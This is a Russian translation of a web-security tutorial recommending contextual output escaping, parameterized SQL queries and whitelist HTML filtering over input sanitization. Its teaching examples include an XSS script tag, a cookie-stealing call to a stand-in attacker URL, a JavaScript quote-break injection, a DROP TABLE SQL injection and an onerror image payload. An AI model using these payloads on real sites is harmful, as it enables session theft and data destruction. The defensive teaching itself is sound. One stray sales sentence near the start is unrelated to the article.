Не тратьте время на санацию ввода. Лучше экранируйте вывод

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Время от времени мы слышим в кругу разработчиков разговоры о “санации пользовательского ввода” с целью предотвращения атак с использованием межсайтового скриптинга. Эта техника, хоть и придумана из лучших побуждений, приводит к ложному чувству безопасности, а иногда и искажает совершенно корректный ввод.

Как происходит межсайтовый скриптинг?

Сайт является уязвимым для атак с использованием межсайтового скриптинга (XSS), если пользователи могут вводить информацию, которую сайт дословно повторяет им в HTML-коде той же или других страниц. Это может вызвать как незначительные проблемы (HTML, который нарушает разметку страницы), так и вполне серьезные (JavaScript, который отправляет файл cookie с учетными данными пользователя на сайт злоумышленника).

Давайте рассмотрим конкретный пример:

  1. NaiveSite позволяет вам ввести свое имя, которое затем выводится без изменений на странице вашего профиля.

  2. Билли Кид вводит свое имя как Billy <script>alert('Hello Bob!')</script>.

  3. Любой, кто посещает страницу профиля Билли, получает некоторый HTML-код, включая неэкранированный тег script, который в числе прочего обрабатывается его браузером.

  4. Если alert() изменить на что-то более вредоносное, например sendCookies('https://billy.com/cookie-monster'), то Билли теперь сможет получить учетные данные ничего не подозревающего посетителя.

Примечание: на практике сделать это не так просто, поскольку файлы cookie с учетными данными обычно помечаются как HttpOnly, что означает, что они недоступны для JavaScript. Но это достаточно примитивный NaiveSite, так что, скорее всего, если разработчики допустили XSS-ошибку, то и о защите cookie они тоже не позаботились.

Почему фильтрация входных данных — не самая лучшая идея

Итак, разработчик узнает о “фильтрации входных данных” или “санации ввода”, поэтому он пишет код для удаления небезопасных HTML-символов <>& из имени перед его сохранением. Дело сделано!

Но с этим есть две проблемы. Например, на NaiveSite может зарегистрироваться пара как Bob & Jane Smith, но код фильтрации удаляет &, и вдруг Боб оказывается сам по себе, со вторым именем Джейн.

Или если фильтр чуть поусерднее и также удаляет ' и", кто-то вроде Билла О’Брайена становится Биллом ОБрайеном. Искажать имена людей - плохая практика.

Этот метод, что более важно, дает ложное чувство безопасности. Что здесь значит “небезопасно”? И в каком контексте? Конечно, <>& являются небезопасными символами в контексте HTML, но как насчет CSS, JSON, SQL или даже shell-скриптов? У них совершенно другой набор небезопасных символов.

Например, NaiveSite может иметь PHP-шаблон, который будет выглядеть следующим образом:

<html>
...
<script>
var name = "<?=$name?>";
</script>

Если злоумышленник укажет свое имя с двойными кавычками, например "; badFunc(); ", то он сможет запускать произвольный JavaScript на любых страницах NaiveSite, отображающих имя пользователя (к которым, если вы залогинились, вероятно, относятся все страницы).

Еще одним хорошим примером такого рода проблем является SQL-инъекция - атака, тесно связанная с межсайтовым скриптингом. NaiveSite работает на базе MySQL и находит пользователей следующим образом:

$query = "SELECT * FROM users WHERE name = '{$name}'"

Если мальчик по имени Robert'); DROP TABLE users; решит посетить ваш сайт, то вся база данных пользователей NaiveSite будет удалена в мгновение ока. Упс!

Между прочим, мать в комиксе xkcd говорит: “А я надеюсь, что вы научитесь санировать данные перед вводом в базу данных”. Это несколько сбивает с толку, но я не буду так уж строг к Рэндаллу и предположу, что он имел в виду “экранировать параметры вашей базы данных”.

Короче говоря, нет смысла отсеивать “опасные символы”, потому что некоторые символы опасны в одном контексте и ​​совершенно безопасны в другом.

Вместо этого экранируйте ваш вывод

Единственный код, который знает, какие символы опасны, — это сам код, который выводится в заданном контексте.

Таким образом, лучший подход состоит в том, чтобы дословно сохранить любое имя, которое вводит пользователь, а затем использовать HTML-экранирование системы шаблонизации при выводе HTML или правильно экранировать JSON при выводе JSON и JavaScript.

И, конечно же, используйте функции параметризованных запросов вашего SQL-движка, чтобы он правильно экранировал переменные при построении SQL:

$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);

Иногда это называют “контекстным экранированием”. Если вам доведется использовать пакет Go html/template, то в нем вы получите автоматическое контекстное экранирование для HTML, CSS и JavaScript прямо из коробки. Большинство других систем шаблонизации обеспечивают автоматическое экранирование хотя бы HTML, как например шаблоны React, Jinja2 и Rails.

Но что, если вам нужны необработанные входные данные?

Давайте рассмотрим более интересную ситуацию — когда вашему приложению нужно позволять пользователю вводить HTML или Markdown для дальнейшего отображения. В этом случае вы не можете прибегнуть к экранированию при рендеринге вывода, потому что вся суть заключается в том, чтобы позволить пользователям добавлять ссылки, изображения, заголовки и т. д.

Поэтому вам нужно использовать другой подход. Если вы используете Markdown, вы можете:

  1. Разрешить пользователю вводить только чистый Markdown и преобразовывать его в HTML при рендеринге (многие Markdown-библиотеки по умолчанию разрешают использование сырого HTML; обязательно отключите эту возможность). Это наиболее безопасный вариант, но и более рестриктивный.

  2. Разрешить пользователю использовать HTML в Markdown, но только определенный список (вайтлист) разрешенных тегов и атрибутов, таких как <а href="..."> и <img src="...">. Например, Stack Exchange и GitHub придерживаются этого второго подхода.

Если вы не используете Markdown, но хотите, чтобы ваши пользователи могли напрямую вводить HTML, то для вас остается доступным только второй вариант — вы должны реализовать фильтр на основе вайтлиста. Сделать это правильно труднее, чем вы думаете (например, <img src="x" onerror="badFunc()">), поэтому обязательно используйте хорошо проверенную с точки зрения безопасности библиотеку как, например, DOMPurify.

Поэтому в тех случаях, когда вам нужно “транслировать” необработанный пользовательский ввод, тщательно фильтруйте ввод на основе ограничительного вайтлиста и сохраняйте результат в базе данных. Когда настанет время вывести его, выведите его как сохранили без какого-либо экранирования.

Параллелью с SQL-инъекциями может быть ситуация, когда вы создаете инструмент для построения диаграмм данных, который позволяет пользователям вводить произвольные SQL-запросы. Возможно, вы захотите разрешить им вводить SELECT-запросы, но не запросы модификации данных. В этих случаях вам лучше всего использовать правильный парсер SQL (как этот), чтобы убедиться, что они правильно формируют SELECT-запросы — но сделать это правильно не так уж и просто, поэтому обязательно делайте проверку безопасности.

Как насчет валидации?

Санация ввода обычно плохая идея, но вот валидация входных данных это хорошо.

Например, когда вы парсите поля формы ввода, и отлавливаете числовое поле, которое не является числом, адрес электронной почты без @ или имеете раскрывающийся список “Статус публикации”, который может быть только чем-либо из “черновик”, “опубликовано”, или “в архиве”, который затем вы во что бы то ни стало проверяете и возвращаете ошибку, если он невалиден.

Хорошая проверка веб-формы указывает на ошибки по мере ввода, чтобы пользователь точно знал, что нужно исправить:

Вы должны выполнять валидацию хотя бы на бэкенде, иначе злоумышленник может обойти валидацию фронтенда и сделать POST-запрос с вредоносными данными на вашу конечную точку напрямую. Кроме того, вы также можете выполнить раннюю проверку во фронтенде, чтобы отображать ошибки в режиме реального времени, без необходимости обращения к серверу.

Что еще можно почитать по теме

На OWASP есть две прекрасных шпаргалки Cross Site Scripting Prevention и SQL Injection Prevention, которые содержат много дополнительной информации о экранировании.

Также есть ответ на StackOverflow на вопрос “How can I sanitize user input with PHP?” с некоторой PHP-спецификой, но я нашел его достаточно лаконичным и полезным. Он ссылается на страницу на PHP magic quotes, которые были в целом плохой идеей и фактически были удалены в PHP 5.4 — обсуждение там очень похоже на то, что я написал выше.

Важно! Под спойлером перевод оригинального текста от автора статьи

Если у вас есть какие-либо отзывы об этой статье, пожалуйста, свяжитесь с нами! Или почитайте комментарии на Hacker News  и сабреддите programming.

Я был бы рад, если бы вы спонсировали меня на GitHub – это будет мотивировать меня работать над моими проектами с открытым исходным кодом и писать больше хорошего контента. Спасибо!


Выражаем благодарность @FanatPHP, за рекомендацию данной статьи к переводу.

Также в преддверии старта курса PHP Developer. Professional, делимся с вами записью открытых уроков курса. Узнать подробнее о курсе и посмотреть открытые уроки можно по ссылкам ниже.

  • PHP 8.2 — Что нового?

  • Алгоритмическое собеседование на PHP

Источник: https://habr.com/ru/company/otus/blog/712830/


Интересные статьи

Интересные статьи

Эффективные управленческие решения основаны на качественной аналитике данных. Но информации становится больше, а ее анализ — труднее. Всё чаще на помощь компаниям приходит прогнозная или предиктивная ...
Если вы хоть раз настраивали MPLS L3VPN, то у вас не возникнет сомнения в том, что весь подход вертится вокруг BGP. Будучи протоколом маршрутизации с развитым чувством собственного достоинства (в конц...
К сожалению, я часто замечаю, что технические специалисты игнорируют коммуникативные навыки. Они тратят многие часы на изучение последней версии Angular, но не прикладывают никаких усилий для развития...
Ирина Мозес застала появление Arpanet и победу СССР над США в баскетбольном олимпийском турнире. Уже больше 30 лет она занимается программированием, но веб-разработку нач...
Команда Rust рада сообщить о выпуске новой версии — 1.52.0. Rust — это язык программирования, позволяющий каждому создавать надёжное и эффективное программное обеспечение. Если вы устано...